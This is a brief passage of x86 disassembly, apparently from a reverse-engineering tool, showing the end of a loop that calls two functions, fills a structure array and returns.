mov byte [ebp - 0x2f], dl
lea eax, [ebp - 0x37]
mov ecx, esp
push eax
call fcn.10002907
mov ecx, esi
call fcn.1000bbd7
add esp, 0x18
mov dword [edi + 0xc], eax
inc ebx
add edi, 0x14
sub dword [ebp - 4], 1
jne 0x1001072a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret